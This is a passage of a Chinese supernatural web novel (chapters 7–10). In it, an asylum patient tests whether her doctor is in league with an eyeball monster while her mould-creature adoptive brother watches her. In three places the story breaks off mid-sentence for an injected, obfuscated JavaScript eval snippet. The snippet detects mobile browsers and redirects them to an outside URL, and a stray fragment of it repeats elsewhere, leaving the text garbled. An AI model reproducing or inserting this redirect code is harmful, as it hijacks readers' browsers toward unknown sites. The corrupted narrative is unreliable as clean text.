拉斐尔犹豫片刻,回抱住她,轻轻拍了拍她后背,“如果我没看错,林小姐是在害怕自己的养兄吗?” 林归伞别过头,以沉默回避拉斐尔的问题。 拉斐尔已经不需要她的回答。 他忽然戳了戳林归伞,待她看过来时,一脸严肃示意二人拥抱的姿势,“林小姐自重,我不搞医患关系的。” 林归伞气愤地一把推开他。 “开个玩笑。”拉斐尔无奈地,任由林归伞给了他一拳,“林小姐心情好些了吗?” 林归伞翻了个白眼,“没有,反倒更糟糕了。” “对了,拉斐尔医生。” 她主动呼唤拉斐尔的姓名,却自觉拉开与他的距离。 “抱歉,我要失约了。” “去那扇门背后探险的事,还是算了吧。” 如果拉斐尔医生只是一个普通人,就不要牵扯他到怪物的事中。 拉斐尔没有问为什么,看了眼门口,林雨停离开的地方,脸上笑容淡了下来。 他嗓音漠然,“随你。” 7. 第 7 章 这段时间,林归伞觉得她和拉斐尔医生的关系亲近了些,从公事公办的交流,到能互相开玩笑的程度。 虽然拉斐尔医生人缘好,遇到的护士病人都能聊上几句。 但林归伞总有种感觉,拉斐尔彬彬有礼的笑容之下,其实极难接近,那双眼睛隔着平光镜打量他们时,无形之中拉开了遥远距离。 所以,对拉斐尔只在自己面前展露的,有些坏心眼的模样,林归伞承认自己曾有过小小的窃喜。 这份窃喜很快消失得无影无踪。 拉斐尔很自觉的,又或许是自尊不允许他热脸贴冷屁股,察觉林归伞的心思,再次回到了对待陌生人的态度。 他笑意依旧温文尔雅,眼神却变得冷淡生疏。 “林小姐,如果没什么事,我就先走了。” “好。”林归伞望了望他的背影,倒回病床上,终归没再多说。 这样也好。 林雨停在监视她,目睹了她与拉斐尔对话的全程,将她的小心思看得清楚,明确向她下达警告。 若是林归伞再不收手,她还好,只怕倒时会牵累了拉斐尔。 她的生活已经被怪物毁得一团糟,世界上没必要再多出一个像她一样的倒霉蛋。 林归伞会乖乖听林雨停的话,做他的笼中鸟掌心雀,隔绝与外人,尤其与一个成年男子的过密交往。 但这绝不意味着她要向怪物妥协。 “哥,你在看吗?” 林归伞下了床,走到卫生间的镜子前,掌心贴在冰凉的镜面,体温晕染出一圈浅浅白雾。 看着镜中自己,仿佛在看另一个与她共享这张脸的人。 她的养兄,那个满布霉菌的怪物,究竟藏在什么地方窥视着她? 林雨停走出了医院大楼。 他没有顺势穿过铁栅栏门,离开疯人院的范围,而是脚步一转走入花园,站定在林归伞那间病房的窗外。 期间没有一个护士病人注意到他。 因为在众人的认知里,会有一个“林雨停”行为如常地离开疯人院,连连说着不好意思赶到公司,充作一个老好人,又是请客又是替同事分担工作。 然后被老板约谈,努力维持自己这份摇摇欲坠的岗位,筋疲力竭回家,对空无一人的屋子说一句我回来了。 夜晚千家万户陷入安眠,只有他亮着灯,处理父母的遗产,到最后呆呆看着妹妹的病历,平时动不动就流泪的他,到了这时反倒死死掩面,不让自己哭出声。 林雨停想到此处不禁落下泪来。 如果事实当真如此,分崩离析的家庭,承受不住打击疯掉的妹妹,竭力维持生活的哥哥,只有彼此是互相的依靠。 那该多么悲惨。 多么地,另他为之神往。 可惜。 那些柴米油盐,朝九晚五与他毫不相干。 俗世变更只在他一念间,若是小伞想的话,他下一刻就能摇身一变成亿万富翁,给予她锦衣玉食的疯人院生活。 疯人院疯人院疯人院! 还是离不开这所该死的疯人院! 林雨停踏前一步,掌心贴在玻璃窗上,皮肤好似柔软的泥,整个身体都在融化,化作无数细小的菌落,粘稠的液滴。 只是无论他尝试多少种方法,都无法突破这层薄薄的窗户。 仅能在那个可恶医生的允许下,踏进疯人院,见到他发了疯想念的小伞。 就连此刻站在这里,都是医生恶意默许的。 林雨停忽然听到小伞呼唤他的声音。 他于是立即恢复人身,满含期待地望去。 林归伞对着镜中的身影,仿佛在与他面对面,“哥,你在看吗?” “嗯。”林雨停无声回答,“这几个月来风雨无阻,昼夜不分,我一直都在。” 林归伞当然听不到他的回应,自语道:“我就当你在看了,是天花板上那块霉斑,桌脚缝里的灰,还是窗户上留下的水渍?” “反正你最喜欢这些脏东西。” “如果都不是的话——” 林归伞再次直视镜中的她,与林雨停相比更加苍白寡淡的面色,左眼角少了一颗泪痣。 “你难道在我身上动了手脚?” 林雨停一顿。 “疯人院是眼球怪物的领地,我猜你很难擅自干涉。”林归伞缓缓扯出一抹冷笑,“比起费尽心思在我身边安插监视,不如直接借助我的视野。” “将我关在家里的那段时间,你有的是机会摆弄我的身体。” 林雨停一副做错了事的委屈表情,“我只是想和你更亲近一些,然后保护你。” “撤销对我的监视。”林归伞嗓音冰冷,以不容抗拒的强硬语气。 林雨停摇头,固执地说:“不要。” “你现在肯定摆出一副可怜的姿态,委屈说着不要吧?”林归伞凭借对这个怪物的了解,毫不留情地讽刺道。 林雨停目光亮了亮,唇角微弯,“还是小伞懂我!” 林归伞无力地笑了下,“所以我这句话不是同你商量,而是威胁。” 她略显不好意思,眼神却丝毫不动摇,“也许有点自我意识过剩,但你应该认准了我这个猎物。” “我想杀你这件事,也是你我二人的共识。” “撤销对我的监视。”林归伞再次重复,这次的语气却缓和许多,“一旦找不到任何报复你的机会,我就一辈子龟缩在疯人院,让你看得到摸不着。” “便宜了眼球怪物又如何,跟我有仇的是你不是祂!” “我知道这就是小孩子赌气,谁也讨不了好的最愚蠢的选择,但我只是一个普通人,在你们这些怪物眼里就跟小孩没什么分别。” 林归伞放软了声音,叹气说:“哥,拉近你我之间距离的唯一方法,就是让我杀了你。” 她知道自己可笑的威胁起了效。 面前的镜子泛起涟漪,镜中她的身影逐渐拔高,换上了男装,五官轮廓不变,唯独左眼角点了颗黑痣。 此刻,林雨停脸上没有一丝鲜活的表情,像一只刚从湖里捞上来的水鬼,皮肤泡得惨白,眼中不断流淌漆黑粘稠的液体。 他朝自己伸出了手。 林归伞便知道他这是答应的意思,也像镜面伸手。 接触到的不是光滑坚硬的玻璃,而是一只阴冷滑腻,让人联想到菌毯与海藻的手。 这一瞬间,林归伞感觉自己体内有什么东西骤然暴动,仿佛皮肤底下多出数不清的细小寄生虫,正在血肉里不停蠕动游弋。 她看到无数菌丝破开她的表皮,从毛孔、咽喉、鼻腔、耳道,甚至是眼眶中钻了出来。 她的每一寸肌理,都能清楚感知到菌丝生长时的摩擦感。 这种感觉让她发疯,想要不管不顾地尖叫撕扯,可任何一处肌肉活动的空隙都被菌丝占满,她连眨眼都做不到。 这些无孔不入的菌丝如同植物新芽,很快在她的体表开出一朵朵的花,那是五彩斑斓的各式菌群,有的形似雪花片,有的呈现斑点状,有的团簇成蓬松的绒毛。 箘群昙花一现,枯萎风干,融化成湿冷的液体蜿蜒流淌。 她只感觉皮肤冰冰凉凉,像是谁的手一路划过。 林归伞终于能动弹,趴在洗手台前不住地干呕,抬头见自己眼中沁出生理性泪水,发丝被冷汗打湿,蛇一般紧贴在脸颊。 方才那些霉菌留下的污迹消失得干干净净。 连带着多日以来,缭绕不散的阴冷感也消失一空。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831288|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,林雨停撤去了对她身体的掌控。 林雨停哭成了泪人。 焦腐的、蜡油般的液体源源不断自眼眶涌出,已经在脚下的草坪积了一滩,整个身体已然乱七八糟,像是将五脏六腑一同流了出来。 小伞,他的妹妹,他在这个世界上最亲近的人。 她知道她刚才做了什么吗? 逼他放弃了留在她身体里的东西,从此毫无防备地暴露在另一个怪物的掌控下。 宁肯选择一个变态医生,也不愿多看他这个哥哥一眼。 林雨停吸了吸鼻子,掏出手机,发了一条消息。 [世界第一好哥哥:求助,妹妹新认识了一个男的,是个变态,做哥哥的想保护她,却激起她的逆反心怎么办?] 没过多久,就有一条回复跳了出来。 [热心网友:什么什么,有变态,让我康康是怎么个变态法。] 林雨停敲键盘的手一顿,随即义愤填膺地开始了控诉。 [世界第一好哥哥:把妹妹从我身边抢走!] [热心网友:就这?] [热心网友:妹妹长大了总是要嫁出去的,喜欢这个男的就随她去呗,我看是你过保护了。] [世界第一好哥哥:不懂就别乱说话!] [世界第一好哥哥:那个变态欺骗了我妹妹,煤油灯效应知道吧,不知道的自己上网查。] [世界第一好哥哥:总之就是cpu她,让她得了精神病。] [热心网友:嘶——] [热心网友:玩得挺花。] [世界第一好哥哥:而且,就在今天,妹妹为了维护那个变态,非逼我撤掉了她身上的gps实时定位监控和防狼警报。] [热心网友:……] [热心网友:你刚刚说啥?] [世界第一好哥哥:没长眼睛?自己往上翻聊天记录。] [热心网友:图片] [热心网友:这是我现在住的地方,建议你一定要来一次。] 林雨停莫名其妙,打开图片一看。 画面上是一幢花团锦簇的房屋,雪白的墙面,擦得干净的窗子,屋顶的形制略有特殊。 赫然是他所在的疯人院。 林雨停忽略网友委婉叫他看脑子的含义,眼神意味不明盯着屏幕。 [世界第一好哥哥:好巧,我妹妹也在这里。] [热心网友:是挺巧的。] [世界第一好哥哥:所以,这位热心网友先生。] [热心网友:停停停,直呼网名你不觉得尴尬吗?我都要给医院扣出一间地下室了。] [世界第一好哥哥:我说的变态就是那里的医生。] [热心网友:不会吧,变态竟在我身边。] [热心网友:瑟瑟发抖.jpg] [世界第一好哥哥:听我说完!] [热心网友:哦。] [热心网友:乖巧.jpg] [世界第一好哥哥:我想请网友先生帮我一个忙。] [热心网友:都说了别叫网名。] [世界第一好哥哥:我也说了先听我把话讲完!!!] [世界第一好哥哥:刀.jpg] [热心网友:害怕,不敢嗦发。] [世界第一好哥哥:请你帮我拆穿变态医生的真面目,将我那可怜又可爱的妹妹救出疯人院。] [世界第一好哥哥:提前警告你,我妹妹生得漂亮,性情又好,简直是这世上最完美的人,我知道很难有人抗拒她的魅力。] [世界第一好哥哥:但你不许喜欢上她!] [热心网友:……] [热心网友:我是真的建议你看看脑子。] 8. 第 8 章 虽然外表显得文静,但林归伞是个行动力很强,骨子里也很倔的人。 迫不得已与拉斐尔划清了界限,拔除林雨停在自己身体上动的手脚,该做的准备都做好后,事不宜迟,她决定独自探索疯人院地下室。 根据她在笔记本上记录的想法,眼球怪物或许在晚上才会露出真面目,将病人充作祂的食粮。 当然有一次现身是白天,林雨停在自己面前展露怪物真容时,眼球怪物驱逐了祂。 林归伞依旧将行动时间定在了人多眼杂的白昼。 不为什么,更有安全感而已。 地点是隔壁的急诊楼,通常用来接待有严重自杀倾向,和狂躁攻击欲的病人。 比较麻烦的一点是,通往地下室的那扇门平时一直挂着锁,而她不知道钥匙在谁手里。 医院人来人往的,总不能在大庭广众之下撬锁。 但有一个人一定有钥匙的线索。 那就是拉斐尔医生。 他先前也答应过,带自己去地下室一探究竟。 难道要灰溜溜地向拉斐尔求和? 林归伞想到拉斐尔医生骤然冷淡的神情,抿了抿唇,她面皮薄,可能还有些委屈和赌气。 明明是为了保护拉斐尔,不被林雨停所迁怒。 她宁肯每天蹲守在急诊楼,看看有谁进入过地下室,再从那人手里设法搞到钥匙。 林归伞将病号服穿在里面,披上林雨停带来的外套,等离开护士的视线,立即拉上拉链,步履匆匆离开住院部。 刚踏入急诊楼,就听到救护车的鸣笛声,尖锐急促,渲染得情绪不自觉紧张。 医护人员抬着担架下车,路过林归伞身边时,她只来得及看到一截垂下的,血肉模糊的手腕。 她裹紧了外套,心情难免沉郁几分。 急诊楼一层的楼梯间附近,有一排供人休息的长椅,是蹲守往来人员的绝佳位置。 眼下长椅空出来,林归伞就往那儿坐了,低头玩起手机,实则眼神一直心不在焉往四周瞟。 没过一会儿她就觉得无聊了。 既然那扇门常年落锁,怎么可能轻易被她蹲到打开的时候? 刚好这时附近无人,送走那个割腕的病人后,急诊楼一下子冷清下来。 林归伞只犹豫了片刻,就小心翼翼凑到那扇门前。 消防通道的安全门样式,门把手被一串铁链牢牢捆住,是那种老式的铜锁。 她不死心地推了推,纹丝不动,根本找不到偷窥的缝隙。 正当她打算趴在门上听里面的动静时,突然被人自身后拍了下肩膀。 “!” 林归伞猛然回头,心跳一瞬间急剧加速。 站在她后面的不是长相可怕的怪物,而是一个人。 外表很年轻,目测不超过二十五岁,一头染成棕色的卷毛软软耷拉着,看起来护理得不错,很好摸的样子。 他生有一张娃娃脸,唇红齿白,讨喜又乖巧,眨巴眼睛神采奕奕的模样。 此人身上也穿着病号服,裹在休闲外套里边。 “你在干嘛?” 小卷毛往安全门上一贴,“这里面有什么?” 林归伞忍住跟他一起听的冲动,“不知道,所以才想偷摸看看。” “这有什么好看的?”小卷毛一脸费解,“地下车库的逃生通道而已。” 林归伞眼神一动,追问,“你怎么知道的?” “猜的呗。”小卷毛不假思索,“开在一楼的安全门,除了通往地下车库还有哪里?” 不等林归伞开口,小卷毛突然面露兴奋,“嘿,安全门都给锁上了,我是不是抓到医院失职的地方,可以举报他们?” 林归伞刚想说,地下车库安全通道在另一个方向,话到了嘴边硬生生被她吞下。 等等! 她怎么没想到呢? 林归伞情绪激动起来,向安全部门举报就可以了。 不必傻傻地等门打开的机会,到时候检查人员自会开启这扇门,让她一睹眼球怪物的真身。 造成的结果无非是精神病人一场误判,害检查员白跑一趟。 林归伞于是赞同地对小卷毛说:“是该举报。” “没用的,我试过了。” 小卷毛语气一改先前的跃跃欲试,耸了耸肩,“这里面的东西应该跟上头备过案,检查员根本不来。” 林归伞心中陡然生出一股警惕,看着小卷毛,后退了一步,“你究竟是什么人?” 小卷毛轻哼一声,高昂起脑袋颇为骄傲的样子,“自我介绍一下,我叫陶泽,这所精神病院的病人。” 林归伞也说出她的名字,翻出领口下的病号服,“和你一样。” “诶,我听说过你!”陶泽兴奋道,“本来马上要出院,结果前一晚激动得睡不着,在走廊上跑来跑去,又犯病了。” “最后延长住院期限的,呃,大聪明?”捕捉到面前人闪过的一丝杀气,他及时改口。 林归伞:“……” 所以她的事迹已经传遍了是吗? 陶泽尴尬地略过这个话题,四下张望一眼,压低声音,“有什么话先到一边说,你觉得怎样?” 林归伞点了点头。 她跟在陶泽身后,来到一处视野极佳的阳台,从这里能看到花园姹紫嫣红的景象。 “我先确认一下。”陶泽一脸深沉,“你对这所医院是什么看法?” 林归伞只吐出短短四字,“怪物横行。” 陶泽绷不住表情,眼神霎时亮了起来,“那你我看法一致了。” 他紧跟着又问,“你对疯人院了解多少?” 林归伞如实说道:“几乎没有。” 陶泽毫不掩饰他的失望,随即摸了摸那头小卷毛,得意洋洋道:“也行,看在咱俩站在同一革命战线的份上,我就把我知道的分享给你算了。” 林归伞真心实意说:“谢谢。” 陶泽摆了摆手,拨弄一头卷毛,开始了他的叙述,“我上网查过资料,这是一所本市直辖的精神病院,历史老悠久了,起码有一百来年。” 他神秘兮兮地凑过来,“你知道百年前,这所疯人院的前身是什么吗?” 林归伞很给面子地捧场,“不知道。” “教堂。”陶泽也不卖关子,直接说了出来,“这点看疯人院的房顶就能想到。” 林归伞顺着她手指的方向,仰起头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831289|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 的确,与现代化四四方方的高楼大厦不同,医院采取尖顶制式,有几分教堂的建筑风格。 陶泽说:“我闲得无聊,仔细用脚步丈量过,急诊楼一层和地下车库之间,有一个非常大的空间,至少能装得下医院一整层楼!” “我有理由怀疑,刚才那扇门就是通往这个地底空间的。” 他补充道:“建这座医院时,地基没有大改,所以地下空间,很有可能是教堂时期保存下来。” “而且,我还有一个发现。”陶泽指向远处。 林归伞看到了医院边沿的马路,几辆货车正在驶来,“运送物资和医疗器械的车,有什么奇怪的地方?” 陶泽眼神心虚地飘了飘,“其实我摸进过医院档案室。” 林归伞顿时不知道该摆出什么表情。 陶泽轻咳一声,恢复了理直气壮,“我发现医院明面上记载的物资,和实际运送过来的相比,有很大的空缺。” “这笔物资流入地下空间,究竟在供多少人生存?” 陶泽面现凝重之色,“教堂的功能是什么?除了祷告还有收容无家可归之人。” “疯人院监管着一批病人。” “这所医院定是延续了教堂时期的秘密,用地下空间藏起一批人,光明正大拿那些运送过来的医疗器械,做人体实验!” 林归伞悚然一惊,“你确定吗?” “不确定啊。”陶泽挠了挠脸,“根据我多年看小说的经验猜的。” 林归伞:“……” “能请你带我去资料室看看吗?”思索过后,她决定相信自己亲眼所见。 陶泽一口应下,“没问题,小事一桩,我们现在就可以去。” 林归伞眼睁睁看着,陶泽带她轻车熟路绕开护士,停留在资料室前,从口袋里掏出一根铁丝,三下五除二开了锁。 “……师傅,你是做什么工作的?” 陶泽若无其事收起铁丝,板起脸道:“秘密,不告诉你。” 林归伞带关上门,“有这种本事,为什么不直接撬开地下空间的门?” 陶泽开电脑的动作一顿,低着脑袋,小小声道:“我怕。” 林归伞:“嗯?” “我说我害怕总行了吧!”陶泽一阵羞恼,回过头来吼了声,“那可是邪恶的人体实验诶,我贸然闯进去还不得被活剖!” 是你脑补的邪恶人体实验。 林归伞只在心里吐槽,“那就由我下去,你来开锁。” 陶泽收了声,“这可是你说的。” 不得不承认他其实松了口气,有人愿意替他冒险。 他愈发不敢直视林归伞,出于补偿心理,手上麻溜地调出他查到的相关资料。 陶泽把位置让了出来,“喏,这些是有关地下空间的档案,不过都被加密了,没有密码是打不开的。” 林归伞迟迟未动。 她盯着电脑屏,幽微冷光照在她的脸上,显得血色尽失,尸体般死气沉沉的惨白。 犹记得拉斐尔医生曾向自己展示犯病那晚的监控,她无意一瞥间,看到了医生的账号权限。 那一串数字,与这份加密档案的一模一样。 医生在骗她! 9. 第 9 章 “你怎么了,脸色这么白,又犯病了?” 陶泽站在一旁,清楚地看见她表情变化,从一开始的不以为意再到关切,“还是说发现了什么?” 林归伞慢半拍才摇头,“我不知道。” 顿了顿她道:“还得先确认。” “行叭。”陶泽勉为其难地说,“有结果了一定要告诉我,不然就白帮你这么多了。” 林归伞:“好。” 必须得向拉斐尔确认一下,万一误会了他呢? 只是一份不明不白的加密档案而已,源自陶泽的一面字词,谁说档案就一定与眼球怪物有关? 可万一陶泽说的是真的,这份档案就是关于医院的地下空间。 就意味着拉斐尔与眼球怪物有直接联系,他不可能不知道自己那天晚上看见的不是幻觉。 却依旧将自己诊断为病发,他在骗她。 为什么? 林归伞自嘲一笑。 都到了这地步,也没必要非得问为什么。 如果拉斐尔是眼球怪物的帮凶,那他本就是自己看到的脸上长满眼睛的非人存在。 林归伞最不愿相信的可能,就是拉斐尔正是眼球怪物本尊。 即便祂们拥有同一双眼睛,也有可能类似她与林雨停的情况不是吗? 她要找拉斐尔问一问。 当然不是傻傻地坦明,这有激怒拉斐尔的风险,她需要一个话题旁敲侧击。 倘若拉斐尔千真万确站在眼球怪物的阵营,不管是不是眼球怪物本尊,他一定知道林雨停的真实身份。 不会在疯人院的领地之外对上林雨停,更不会轻易放她这个猎物离开。 林归伞忽然想到,她逼迫林雨停放弃对她的监视。 某种意义上,也是她亲手放弃了林雨停给自己安的保险。 相当于毫无防备地身处眼球怪物的巢穴逃出疯人院的选择只怕无比艰难。 也不知这其中有拉斐尔几分引导? 林归伞苦涩地发现,她已经能自然而然阴谋论拉斐尔。 不论如何,她只有一个方法能试探他。 怪物们明面上都伪装成普通人,按照日常的逻辑行事,她只需要言语诱导,创造一个适用于医生这一身份的场景。 届时只要看拉斐尔的选择,就能获知答案。 他到底有没有骗她? 这一天是每周定期做心理咨询的日子,林归伞有机会和拉斐尔单独聊天。 她坐在金发的俊美外国人对面,对上他在银框眼镜后稍显冰冷的蔚蓝双眸,不由垂眸,片刻后鼓起勇气唤道:“医生。” 拉斐尔笑了笑,神色如常,“林小姐是有什么话想对我说吗?” 林归伞缓缓点了点头。 虽然她总说拉斐尔变得冷淡了些,但那不是一种外显的排斥,而是陌生人之间的正常分寸感。 医生还是那个医生,彬彬有礼且尽职尽责,对待病人总以温和耐心的语气。 林归伞紧绷的神经不由自主放松些许,也能神情自若地切入话题,“前几天的事实在抱歉,突然就翻脸悔约。” 她说的是为了在林雨停面前自觉拉开距离,拒绝拉斐尔邀她去地下空间的事。 “最近医生都没见跟我开过玩笑了,是不是在生我的气?” 拉斐尔一愣,“你怎么会这么想?” “又不是什么大不了的事,我何必对你置气?” “不。”拉斐尔叹了口气,揉了揉眉心,眼中多了一丝疲惫,“我其实是有些脾气的,这句对不起应该由我来说才对。” 他诚恳道:“身为医生居然对病人如此情绪化,真的很抱歉。” 林归伞浅浅抿出一抹笑,“没关系的。” 医生真的是个很好的人,只是一想到这些有可能都是他的伪装,刚生出的一点欢喜眨眼间便消失了。 “拉斐尔医生身为一个外国人,为什么要漂洋过海来这所医院就职?”林归伞尽量委婉,“这所医院在精神病学方面的成就不算很高。” “可能是因为这里百年以前,曾经是座教堂。”拉斐尔思索后回答,解开白大褂最上面的两颗纽扣,拽出一条十字架项链。 “教堂?”林归伞故作惊讶,心底却是一沉。 他知道疯人院曾是教堂,那么知不知道这里藏了个广阔的地下空间? “医生原来是信教的吗?” 拉斐尔反而问,“我以为林小姐早就猜到了。” 林归伞这次是真的有些惊诧,“医生为什么这样想?” “眼球,车轮,六对羽翼,林小姐幻觉中看到的怪物拥有以上特征没错吧?”拉斐尔逐一细数。 林归伞心神一紧,点头。 “可这些都是圣经原典中的天使形象,就是不知道是座天使还是炽天使。” 拉斐尔玩笑般道:“还记得圣经里天使登场第一句就是,别怕,孩子吗?其实原典的天使外表相当可怕。” “反倒是恶魔,为了引诱迷途羔羊,会以俊男美女的人类样貌出现。” 林归伞忽然问,“那医生是恶魔吗?” 拉斐尔失笑,“我就当林小姐夸我长得好看了。” 林归伞就也跟着笑。 笑了没一会儿,她脸上神情变得犹豫,像是有什么话艰难堵在嘴边。 “医生。”她似乎做了极大的心理准备,深深看着拉斐尔的双瞳,“我有件事要向你坦白。” 拉斐尔并不急着追问,轻轻嗯了声。 林归伞深吸一口气,不由自主环抱双臂,弓腰缩背,是缺乏安全感的蜷缩姿势。 她皮肤苍白到毫无血色,双颊却随着她的迟疑逐渐泛起病态薄红,瞳孔涣散,视线失焦,极为难以启齿。 “哥哥他,侵犯了我。” 拉斐尔狠狠蹙了下眉,没说话,抬眼看向林归伞。 “医生是不是以为,这是我凭空捏造的幻想?”林归伞苦笑一声,“我怎么可能用这种腌臜事,平白无故污蔑亲人?” 她目光无神地说:“检查一下我的身体就知道,最近一次做那种事情就在入院前。” “我那时在外人眼里还是个疯子,整日被哥哥关在家中。” 林归伞原本只是挑拣着事实,半真半假地说,可情绪越来越激动,那些不堪的记忆翻滚入脑海。 她几乎哭了出来,自我厌弃般抓挠着手臂,“除了我哥,还有谁会这样对我?” “林小姐!”拉斐尔赶忙制止她的动作。 “不想说就不用强迫自己继续了,这里只有你和我,没有外人,已经没事了。” 林归伞渐渐安静下来,“医生,我还是想说。” 她急切地仰头看向拉斐尔,“那天我不是有意疏远你,而是哥他就在我面前——” “我……我不想。”林归伞语无伦次,“我唯独不想医生撞见我和我哥的龌龊。” 拉斐尔有一瞬的错愕。 他似乎没有想到,自己在林归伞心中占据了不轻的分量,更多的却是对这件事的理性疏远。 他短暂的沉默,被此时情绪敏感至极的林归伞察觉,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831290|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿时不再说话了,恐惧地将自己蜷缩得更紧了些。 最终,拉斐尔叹了口气,温声说:“如果林小姐的话属实,你养兄的事我会通知警察。” “不要!”林归伞焦急道,随后嗓音低低地恳求。 “他毕竟是我唯一的亲人了。” 拉斐尔眼神复杂。 林归伞知道拉斐尔这目光的含义,在她丰功伟绩的病历本上,新增一行斯德哥尔摩综合症。 被害者面临极端情况,对加害者心生好感。 通常的处理手段,是暂时隔绝她与加害者的接触,解救出极端环境加以心理疏导。 拉斐尔说要报警很正常。 只是林归伞在这其中下了个小小的诱饵,表露对林雨停的病态依恋,阻止拉斐尔报警,还有不自觉对拉斐尔的心动。 给予他一个冠冕堂皇的理由,借这份心动让患者挣扎出对加害者产生的,出于逃避心理的另类好感。 很便利的治疗方法,也很缺德。 就跟趁虚而入没什么区别。 如果是平时表现出来的拉斐尔,应该会自觉回避与她的亲密接触,甚至自知不是处理她身上斯德哥尔摩综合症的合适人选,将她交给另一个医生。 但眼球怪物不可能轻易放过她。 端看拉斐尔怎么选,是笑纳她抛出来的诱饵,还是—— 拉斐尔为难地说:“林小姐,你的情况不大好处理。” 林归伞松了口气。 拉斐尔选择拒绝这份饵,代表他清白无辜的可能性变高。 拉斐尔却话锋一转,“不过——” 不过什么他没说,只是用一种分辨不出情绪的眼神凝望着她,“林小姐不想报警那就不报了,只是出于医生的责任,我会同你的养兄谈一谈。” “至少你住院的这段时间,尽量少与他接触。” 林归伞那根提心吊胆,名为侥幸的弦终于彻底崩断了。 拉斐尔还是上钩了,隔离她与林雨停,顺理成章接纳这份脆弱的好感。 “你说我该怎么办?” 离开心理咨询室,林归伞去了陶泽的病房,走投无路竟然向他寻求起了帮助。 “什么怎么办?”陶泽一脸纳闷,“试探出结果了?” 林归伞说:“不确定。” 陶泽顿时无语,“试探之前你说不确定,试探完了还是这个答案,这不是白试探了吗?” 林归伞垂了垂眼,有些心虚,“只能说医生有点问题,但不能百分百下定论。” “哦——” 陶泽拉长了调子,“你觉得拉斐尔医生和地下空间有关。” 林归伞没有否认。 “就这么不情愿怀疑他?”陶泽倒是看出开她游移不定的原因。 林归伞低声说:“因为他是医生。” 陶泽挠了挠那头蓬松卷毛,“这跟医生的身份有什么关系?” 林归伞不回答,只是疲倦地笑了笑。 并不是基于拉斐尔医生的身份,而是他曾做过的事。 她刚被送来疯人院的时候,精神濒临崩溃,充满了攻击欲,认为所有人都被怪物蒙蔽,做了祂的帮凶。 整日整日地蜷缩在病房,听到窃窃私语就应激。 是拉斐尔医生不厌其烦,试探着一点一点靠近,带她离开那间死寂枯朽的病室。 让她意识到原来没有怪物的世界,鸟语花香,晴光正好。 是拉斐尔让她意识到还有希望。 如今却要告诉她—— 医生在撒谎。 10. 第 10 章 “那你还打不打算进入地下空间?”陶泽显然不关心她对拉斐尔的看法。 林归伞毫不迟疑点头。 “这不就结了?”陶泽一摊手,“管你对医生是个什么想法,去到地下空间后自会明白真相。” “你说的对。”即便知晓陶泽出于事不关己的态度,林归伞还是被他说服了,暂且将对拉斐尔的怀疑放到一边。 她还发现比起她,陶泽似乎也有着对地下空间,对疯人院真相的强烈执着。 不过林归伞没有问,将心比心,她自己的事也不想向他人倾诉。 这时,护士前来敲门,视线往病房内逡巡一圈,“陶先生,您家属来看您了。” 林归伞自觉起身,“我先走了,有什么事下次再聊。” 陶泽心不在焉应了声。 跟在护士身后出这间病房时,林归伞与一个中年女人擦肩而过。 匆匆一瞥间,只来得及看到她护养得宜的长卷发,与陶泽一样的天生自来卷,但似乎染过。 戴着一副严严实实的口罩,遮住大半张脸,唯独露在外面的一双眉眼,生得很有韵味,如江南烟雨中一笔青山黛色。 年纪应当不小了,身材却未走样,如果不是眼尖看到她皮肤状态不好,林归伞险些以为这是陶泽的姐姐。 她没有打探别人隐私的想法,收回目光。 饶是如此,站在走廊上,隔得老远她依旧听到陶泽愤懑不已,却又无从发泄的吼声,“妈,跟你说过多少次了,我没病!” 林归伞脚步一顿,就像被无形的力量生生拽住,脚下生根离不开原地。 她听到一个女人的声音,小心翼翼的,尽是疲惫,精神紧绷到极点还不忘安抚,“好,妈知道你没病。” “所以妈等你,尽快从医院出来,好不好?” 陶泽一瞬间哑了声。 林归伞不能猜透他心中所想,情绪却能与此刻的他共鸣。 只是与陶泽不同,她也想有个真正的亲人前来探病。 默默说了声抱歉,林归伞回到陶泽的病房外,背抵着墙安静倾听。 “可是,医生不让我出来啊!”沉默了许久,陶泽颤声从喉咙里挤出这句话。 陶欣然艰难扯着笑,“医生也有他们的难处,要按规矩办事。” “小泽体谅就一下他们,听医生的话,你在妈心里是全天下最乖巧的孩子了。” 陶泽梗着脖子没回答,生硬地转移话题,“妈,你最近又瘦了。” 陶欣然接上他的话,“妈最近在减肥。” “都说了不要在意外面黑心资本的pua,你身材已经很好了,再瘦下去就得成排骨精。”陶泽不满地抱怨。 陶欣然笑了一下,似乎是她进入病房以来第一个发自真心的笑,“听你的。” “等小泽从医院里出来,妈什么都听你的。” 陶泽极力忽略母亲三句话不离的出院,“这头发哪里染的?挺漂亮。” 陶欣然也很认同他的话,拨了拨肩上的长卷发,“小泽想知道?那下次我带你一起去染。” 